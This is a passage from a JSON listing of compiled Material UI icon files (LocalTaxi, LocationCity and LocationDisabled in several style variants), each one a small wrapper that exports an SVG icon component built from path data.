    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M18.92 6.01C18.72 5.42 18.16 5 17.5 5H15V3H9v2H6.5c-.66 0-1.21.42-1.42 1.01L3 12v8c0 .55.45 1 1 1h1c.55 0 1-.45 1-1v-1h12v1c0 .55.45 1 1 1h1c.55 0 1-.45 1-1v-8zM6.5 16c-.83 0-1.5-.67-1.5-1.5S5.67 13 6.5 13s1.5.67 1.5 1.5S7.33 16 6.5 16m11 0c-.83 0-1.5-.67-1.5-1.5s.67-1.5 1.5-1.5 1.5.67 1.5 1.5-.67 1.5-1.5 1.5M5 11l1.5-4.5h11L19 11z\"\n}), 'LocalTaxi');"
  },
  {
    "path": "packages/mui-icons-material/lib/LocalTaxiOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M18.92 6.01C18.72 5.42 18.16 5 17.5 5H15V3H9v2H6.5c-.66 0-1.21.42-1.42 1.01L3 12v8c0 .55.45 1 1 1h1c.55 0 1-.45 1-1v-1h12v1c0 .55.45 1 1 1h1c.55 0 1-.45 1-1v-8zM6.85 7h10.29l1.04 3H5.81zM19 17H5v-4.66l.12-.34h13.77l.11.34z\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"7.5\",\n  cy: \"14.5\",\n  r: \"1.5\"\n}, \"1\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"16.5\",\n  cy: \"14.5\",\n  r: \"1.5\"\n}, \"2\")], 'LocalTaxiOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/LocalTaxiOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M18.92 6.01C18.72 5.42 18.16 5 17.5 5H15V3H9v2H6.5c-.66 0-1.21.42-1.42 1.01L3 12v8c0 .55.45 1 1 1h1c.55 0 1-.45 1-1v-1h12v1c0 .55.45 1 1 1h1c.55 0 1-.45 1-1v-8zM6.85 7h10.29l1.04 3H5.81zM19 17H5v-4.66l.12-.34h13.77l.11.34z\"\n}, \"0\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"7.5\",\n  cy: \"14.5\",\n  r: \"1.5\"\n}, \"1\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"16.5\",\n  cy: \"14.5\",\n  r: \"1.5\"\n}, \"2\")], 'LocalTaxiOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/LocalTaxiRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M18.92 6.01C18.72 5.42 18.16 5 17.5 5H15V4c0-.55-.45-1-1-1h-4c-.55 0-1 .45-1 1v1H6.5c-.66 0-1.21.42-1.42 1.01l-1.97 5.67c-.07.21-.11.43-.11.66v7.16c0 .83.67 1.5 1.5 1.5S6 20.33 6 19.5V19h12v.5c0 .82.67 1.5 1.5 1.5.82 0 1.5-.67 1.5-1.5v-7.16c0-.22-.04-.45-.11-.66zM6.5 16c-.83 0-1.5-.67-1.5-1.5S5.67 13 6.5 13s1.5.67 1.5 1.5S7.33 16 6.5 16m11 0c-.83 0-1.5-.67-1.5-1.5s.67-1.5 1.5-1.5 1.5.67 1.5 1.5-.67 1.5-1.5 1.5M5 11l1.5-4.5h11L19 11z\"\n}), 'LocalTaxiRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/LocalTaxiRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M18.92 6.01C18.72 5.42 18.16 5 17.5 5H15V4c0-.55-.45-1-1-1h-4c-.55 0-1 .45-1 1v1H6.5c-.66 0-1.21.42-1.42 1.01l-1.97 5.67c-.07.21-.11.43-.11.66v7.16c0 .83.67 1.5 1.5 1.5S6 20.33 6 19.5V19h12v.5c0 .82.67 1.5 1.5 1.5.82 0 1.5-.67 1.5-1.5v-7.16c0-.22-.04-.45-.11-.66zM6.5 16c-.83 0-1.5-.67-1.5-1.5S5.67 13 6.5 13s1.5.67 1.5 1.5S7.33 16 6.5 16m11 0c-.83 0-1.5-.67-1.5-1.5s.67-1.5 1.5-1.5 1.5.67 1.5 1.5-.67 1.5-1.5 1.5M5 11l1.5-4.5h11L19 11z\"\n}), 'LocalTaxiRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/LocalTaxiSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M18.58 5H15V3H9v2H5.43L3 12v9h3v-2h12v2h3v-9zM6.5 16c-.83 0-1.5-.67-1.5-1.5S5.67 13 6.5 13s1.5.67 1.5 1.5S7.33 16 6.5 16m11 0c-.83 0-1.5-.67-1.5-1.5s.67-1.5 1.5-1.5 1.5.67 1.5 1.5-.67 1.5-1.5 1.5M5 11l1.5-4.5h11L19 11z\"\n}), 'LocalTaxiSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/LocalTaxiSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M18.58 5H15V3H9v2H5.43L3 12v9h3v-2h12v2h3v-9zM6.5 16c-.83 0-1.5-.67-1.5-1.5S5.67 13 6.5 13s1.5.67 1.5 1.5S7.33 16 6.5 16m11 0c-.83 0-1.5-.67-1.5-1.5s.67-1.5 1.5-1.5 1.5.67 1.5 1.5-.67 1.5-1.5 1.5M5 11l1.5-4.5h11L19 11z\"\n}), 'LocalTaxiSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/LocalTaxiTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m5.12 12-.12.34V17h14v-4.66l-.12-.34zm2.38 4c-.83 0-1.5-.67-1.5-1.5S6.67 13 7.5 13s1.5.67 1.5 1.5S8.33 16 7.5 16m9 0c-.83 0-1.5-.67-1.5-1.5s.67-1.5 1.5-1.5 1.5.67 1.5 1.5-.67 1.5-1.5 1.5\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M17.5 5H15V3H9v2H6.5c-.66 0-1.21.42-1.42 1.01L3 12v8c0 .55.45 1 1 1h1c.55 0 1-.45 1-1v-1h12v1c0 .55.45 1 1 1h1c.55 0 1-.45 1-1v-8l-2.08-5.99C18.72 5.42 18.16 5 17.5 5M6.85 7h10.29l1.04 3H5.81zM19 17H5v-4.66l.12-.34h13.77l.11.34z\"\n}, \"1\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"7.5\",\n  cy: \"14.5\",\n  r: \"1.5\"\n}, \"2\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"16.5\",\n  cy: \"14.5\",\n  r: \"1.5\"\n}, \"3\")], 'LocalTaxiTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/LocalTaxiTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"m5.12 12-.12.34V17h14v-4.66l-.12-.34zm2.38 4c-.83 0-1.5-.67-1.5-1.5S6.67 13 7.5 13s1.5.67 1.5 1.5S8.33 16 7.5 16m9 0c-.83 0-1.5-.67-1.5-1.5s.67-1.5 1.5-1.5 1.5.67 1.5 1.5-.67 1.5-1.5 1.5\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M17.5 5H15V3H9v2H6.5c-.66 0-1.21.42-1.42 1.01L3 12v8c0 .55.45 1 1 1h1c.55 0 1-.45 1-1v-1h12v1c0 .55.45 1 1 1h1c.55 0 1-.45 1-1v-8l-2.08-5.99C18.72 5.42 18.16 5 17.5 5M6.85 7h10.29l1.04 3H5.81zM19 17H5v-4.66l.12-.34h13.77l.11.34z\"\n}, \"1\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"7.5\",\n  cy: \"14.5\",\n  r: \"1.5\"\n}, \"2\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"16.5\",\n  cy: \"14.5\",\n  r: \"1.5\"\n}, \"3\")], 'LocalTaxiTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/LocationCity.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M15 11V5l-3-3-3 3v2H3v14h18V11zm-8 8H5v-2h2zm0-4H5v-2h2zm0-4H5V9h2zm6 8h-2v-2h2zm0-4h-2v-2h2zm0-4h-2V9h2zm0-4h-2V5h2zm6 12h-2v-2h2zm0-4h-2v-2h2z\"\n}), 'LocationCity');"
  },
  {
    "path": "packages/mui-icons-material/lib/LocationCity.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M15 11V5l-3-3-3 3v2H3v14h18V11zm-8 8H5v-2h2zm0-4H5v-2h2zm0-4H5V9h2zm6 8h-2v-2h2zm0-4h-2v-2h2zm0-4h-2V9h2zm0-4h-2V5h2zm6 12h-2v-2h2zm0-4h-2v-2h2z\"\n}), 'LocationCity');"
  },
  {
    "path": "packages/mui-icons-material/lib/LocationCityOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M15 11V5l-3-3-3 3v2H3v14h18V11zm-8 8H5v-2h2zm0-4H5v-2h2zm0-4H5V9h2zm6 8h-2v-2h2zm0-4h-2v-2h2zm0-4h-2V9h2zm0-4h-2V5h2zm6 12h-2v-2h2zm0-4h-2v-2h2z\"\n}), 'LocationCityOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/LocationCityOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M15 11V5l-3-3-3 3v2H3v14h18V11zm-8 8H5v-2h2zm0-4H5v-2h2zm0-4H5V9h2zm6 8h-2v-2h2zm0-4h-2v-2h2zm0-4h-2V9h2zm0-4h-2V5h2zm6 12h-2v-2h2zm0-4h-2v-2h2z\"\n}), 'LocationCityOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/LocationCityRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M15 11V5.83c0-.53-.21-1.04-.59-1.41L12.7 2.71a.996.996 0 0 0-1.41 0l-1.7 1.7C9.21 4.79 9 5.3 9 5.83V7H5c-1.1 0-2 .9-2 2v10c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2v-6c0-1.1-.9-2-2-2zm-8 8H5v-2h2zm0-4H5v-2h2zm0-4H5V9h2zm6 8h-2v-2h2zm0-4h-2v-2h2zm0-4h-2V9h2zm0-4h-2V5h2zm6 12h-2v-2h2zm0-4h-2v-2h2z\"\n}), 'LocationCityRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/LocationCityRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M15 11V5.83c0-.53-.21-1.04-.59-1.41L12.7 2.71a.996.996 0 0 0-1.41 0l-1.7 1.7C9.21 4.79 9 5.3 9 5.83V7H5c-1.1 0-2 .9-2 2v10c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2v-6c0-1.1-.9-2-2-2zm-8 8H5v-2h2zm0-4H5v-2h2zm0-4H5V9h2zm6 8h-2v-2h2zm0-4h-2v-2h2zm0-4h-2V9h2zm0-4h-2V5h2zm6 12h-2v-2h2zm0-4h-2v-2h2z\"\n}), 'LocationCityRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/LocationCitySharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M15 11V5l-3-3-3 3v2H3v14h18V11zm-8 8H5v-2h2zm0-4H5v-2h2zm0-4H5V9h2zm6 8h-2v-2h2zm0-4h-2v-2h2zm0-4h-2V9h2zm0-4h-2V5h2zm6 12h-2v-2h2zm0-4h-2v-2h2z\"\n}), 'LocationCitySharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/LocationCitySharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M15 11V5l-3-3-3 3v2H3v14h18V11zm-8 8H5v-2h2zm0-4H5v-2h2zm0-4H5V9h2zm6 8h-2v-2h2zm0-4h-2v-2h2zm0-4h-2V9h2zm0-4h-2V5h2zm6 12h-2v-2h2zm0-4h-2v-2h2z\"\n}), 'LocationCitySharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/LocationCityTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M15 11V5l-3-3-3 3v2H3v14h18V11zm-8 8H5v-2h2zm0-4H5v-2h2zm0-4H5V9h2zm6 8h-2v-2h2zm0-4h-2v-2h2zm0-4h-2V9h2zm0-4h-2V5h2zm6 12h-2v-2h2zm0-4h-2v-2h2z\"\n}), 'LocationCityTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/LocationCityTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M15 11V5l-3-3-3 3v2H3v14h18V11zm-8 8H5v-2h2zm0-4H5v-2h2zm0-4H5V9h2zm6 8h-2v-2h2zm0-4h-2v-2h2zm0-4h-2V9h2zm0-4h-2V5h2zm6 12h-2v-2h2zm0-4h-2v-2h2z\"\n}), 'LocationCityTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/LocationDisabled.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20.94 11c-.46-4.17-3.77-7.48-7.94-7.94V1h-2v2.06c-1.13.12-2.19.46-3.16.97l1.5 1.5C10.16 5.19 11.06 5 12 5c3.87 0 7 3.13 7 7 0 .94-.19 1.84-.52 2.65l1.5 1.5c.5-.96.84-2.02.97-3.15H23v-2zM3 4.27l2.04 2.04C3.97 7.62 3.25 9.23 3.06 11H1v2h2.06c.46 4.17 3.77 7.48 7.94 7.94V23h2v-2.06c1.77-.2 3.38-.91 4.69-1.98L19.73 21 21 19.73 4.27 3zm13.27 13.27C15.09 18.45 13.61 19 12 19c-3.87 0-7-3.13-7-7 0-1.61.55-3.09 1.46-4.27z\"\n}), 'LocationDisabled');"
  },
  {
    "path": "packages/mui-icons-material/lib/LocationDisabled.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20.94 11c-.46-4.17-3.77-7.48-7.94-7.94V1h-2v2.06c-1.13.12-2.19.46-3.16.97l1.5 1.5C10.16 5.19 11.06 5 12 5c3.87 0 7 3.13 7 7 0 .94-.19 1.84-.52 2.65l1.5 1.5c.5-.96.84-2.02.97-3.15H23v-2zM3 4.27l2.04 2.04C3.97 7.62 3.25 9.23 3.06 11H1v2h2.06c.46 4.17 3.77 7.48 7.94 7.94V23h2v-2.06c1.77-.2 3.38-.91 4.69-1.98L19.73 21 21 19.73 4.27 3zm13.27 13.27C15.09 18.45 13.61 19 12 19c-3.87 0-7-3.13-7-7 0-1.61.55-3.09 1.46-4.27z\"\n}), 'LocationDisabled');"
  },
  {
    "path": "packages/mui-icons-material/lib/LocationDisabledOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M23 13v-2h-2.06c-.46-4.17-3.77-7.48-7.94-7.94V1h-2v2.06c-.98.11-1.91.38-2.77.78l1.53 1.53C10.46 5.13 11.22 5 12 5c3.87 0 7 3.13 7 7 0 .79-.13 1.54-.37 2.24l1.53 1.53c.4-.86.67-1.79.78-2.77zM4.41 2.86 3 4.27l2.04 2.04C3.97 7.62 3.26 9.23 3.06 11H1v2h2.06c.46 4.17 3.77 7.48 7.94 7.94V23h2v-2.06c1.77-.2 3.38-.91 4.69-1.98L19.73 21l1.41-1.41zM12 19c-3.87 0-7-3.13-7-7 0-1.61.55-3.09 1.46-4.27l9.81 9.81C15.09 18.45 13.61 19 12 19\"\n}), 'LocationDisabledOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/LocationDisabledOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M23 13v-2h-2.06c-.46-4.17-3.77-7.48-7.94-7.94V1h-2v2.06c-.98.11-1.91.38-2.77.78l1.53 1.53C10.46 5.13 11.22 5 12 5c3.87 0 7 3.13 7 7 0 .79-.13 1.54-.37 2.24l1.53 1.53c.4-.86.67-1.79.78-2.77zM4.41 2.86 3 4.27l2.04 2.04C3.97 7.62 3.26 9.23 3.06 11H1v2h2.06c.46 4.17 3.77 7.48 7.94 7.94V23h2v-2.06c1.77-.2 3.38-.91 4.69-1.98L19.73 21l1.41-1.41zM12 19c-3.87 0-7-3.13-7-7 0-1.61.55-3.09 1.46-4.27l9.81 9.81C15.09 18.45 13.61 19 12 19\"\n}), 'LocationDisabledOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/LocationDisabledRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M22 13c.55 0 1-.45 1-1s-.45-1-1-1h-1.06c-.46-4.17-3.77-7.48-7.94-7.94V2c0-.55-.45-1-1-1s-1 .45-1 1v1.06c-.98.11-1.91.38-2.77.78l1.53 1.53C10.46 5.13 11.22 5 12 5c3.87 0 7 3.13 7 7 0 .79-.13 1.54-.37 2.24l1.53 1.53c.4-.86.67-1.79.78-2.77zm-1.56 5.88L5.12 3.56a.996.996 0 0 0-1.41 0c-.39.39-.39 1.02 0 1.41L5.04 6.3C3.97 7.62 3.26 9.23 3.06 11H2c-.55 0-1 .45-1 1s.45 1 1 1h1.06c.46 4.17 3.77 7.48 7.94 7.94V22c0 .55.45 1 1 1s1-.45 1-1v-1.06c1.77-.2 3.38-.91 4.69-1.98l1.33 1.33c.39.39 1.02.39 1.41 0 .4-.39.4-1.02.01-1.41M12 19c-3.87 0-7-3.13-7-7 0-1.61.55-3.09 1.46-4.27l9.81 9.81C15.09 18.45 13.61 19 12 19\"\n}), 'LocationDisabledRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/LocationDisabledRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M22 13c.55 0 1-.45 1-1s-.45-1-1-1h-1.06c-.46-4.17-3.77-7.48-7.94-7.94V2c0-.55-.45-1-1-1s-1 .45-1 1v1.06c-.98.11-1.91.38-2.77.78l1.53 1.53C10.46 5.13 11.22 5 12 5c3.87 0 7 3.13 7 7 0 .79-.13 1.54-.37 2.24l1.53 1.53c.4-.86.67-1.79.78-2.77zm-1.56 5.88L5.12 3.56a.996.996 0 0 0-1.41 0c-.39.39-.39 1.02 0 1.41L5.04 6.3C3.97 7.62 3.26 9.23 3.06 11H2c-.55 0-1 .45-1 1s.45 1 1 1h1.06c.46 4.17 3.77 7.48 7.94 7.94V22c0 .55.45 1 1 1s1-.45 1-1v-1.06c1.77-.2 3.38-.91 4.69-1.98l1.33 1.33c.39.39 1.02.39 1.41 0 .4-.39.4-1.02.01-1.41M12 19c-3.87 0-7-3.13-7-7 0-1.61.55-3.09 1.46-4.27l9.81 9.81C15.09 18.45 13.61 19 12 19\"\n}), 'LocationDisabledRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/LocationDisabledSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M23 13v-2h-2.06c-.46-4.17-3.77-7.48-7.94-7.94V1h-2v2.06c-.98.11-1.91.38-2.77.78l1.53 1.53C10.46 5.13 11.22 5 12 5c3.87 0 7 3.13 7 7 0 .79-.13 1.54-.37 2.24l1.53 1.53c.4-.86.67-1.79.78-2.77zM4.41 2.86 3 4.27l2.04 2.04C3.97 7.62 3.26 9.23 3.06 11H1v2h2.06c.46 4.17 3.77 7.48 7.94 7.94V23h2v-2.06c1.77-.2 3.38-.91 4.69-1.98L19.73 21l1.41-1.41zM12 19c-3.87 0-7-3.13-7-7 0-1.61.55-3.09 1.46-4.27l9.81 9.81C15.09 18.45 13.61 19 12 19\"\n}), 'LocationDisabledSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/LocationDisabledSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M23 13v-2h-2.06c-.46-4.17-3.77-7.48-7.94-7.94V1h-2v2.06c-.98.11-1.91.38-2.77.78l1.53 1.53C10.46 5.13 11.22 5 12 5c3.87 0 7 3.13 7 7 0 .79-.13 1.54-.37 2.24l1.53 1.53c.4-.86.67-1.79.78-2.77zM4.41 2.86 3 4.27l2.04 2.04C3.97 7.62 3.26 9.23 3.06 11H1v2h2.06c.46 4.17 3.77 7.48 7.94 7.94V23h2v-2.06c1.77-.2 3.38-.91 4.69-1.98L19.73 21l1.41-1.41zM12 19c-3.87 0-7-3.13-7-7 0-1.61.55-3.09 1.46-4.27l9.81 9.81C15.09 18.45 13.61 19 12 19\"\n}), 'LocationDisabledSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/LocationDisabledTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M23 13v-2h-2.06c-.46-4.17-3.77-7.48-7.94-7.94V1h-2v2.06c-.98.11-1.91.38-2.77.78l1.53 1.53C10.46 5.13 11.22 5 12 5c3.87 0 7 3.13 7 7 0 .79-.13 1.54-.37 2.24l1.53 1.53c.4-.86.67-1.79.78-2.77zM4.41 2.86 3 4.27l2.04 2.04C3.97 7.62 3.26 9.23 3.06 11H1v2h2.06c.46 4.17 3.77 7.48 7.94 7.94V23h2v-2.06c1.77-.2 3.38-.91 4.69-1.98L19.73 21l1.41-1.41zM12 19c-3.87 0-7-3.13-7-7 0-1.61.55-3.09 1.46-4.27l9.81 9.81C15.09 18.45 13.61 19 12 19\"\n}), 'LocationDisabledTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/LocationDisabledTwoTone.mjs",
